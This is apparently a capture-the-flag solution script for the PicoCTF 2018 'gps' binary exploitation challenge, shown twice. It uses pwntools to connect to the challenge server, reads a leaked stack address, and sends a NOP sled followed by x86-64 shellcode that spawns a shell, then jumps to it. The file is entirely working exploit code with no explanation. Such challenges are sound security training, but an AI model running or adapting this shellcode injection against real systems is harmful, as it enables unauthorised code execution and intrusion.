<filename>PicoCTF 2018/Binary exploitation/gps/exploit.py<gh_stars>10-100
#!/usr/bin/env python2
from pwn import *
r = remote("2018shell.picoctf.com",24627)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
r.recvuntil("Current position:")
address = int(r.recvline().strip(),16)
address+=700
r.sendline(chr(0x90)*0x800+shellcode)
r.sendline(hex(address))
r.interactive()
<filename>PicoCTF 2018/Binary exploitation/gps/exploit.py<gh_stars>10-100
#!/usr/bin/env python2
from pwn import *
r = remote("2018shell.picoctf.com",24627)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
r.recvuntil("Current position:")
address = int(r.recvline().strip(),16)
address+=700
r.sendline(chr(0x90)*0x800+shellcode)
r.sendline(hex(address))
r.interactive()
#!/usr/bin/env python2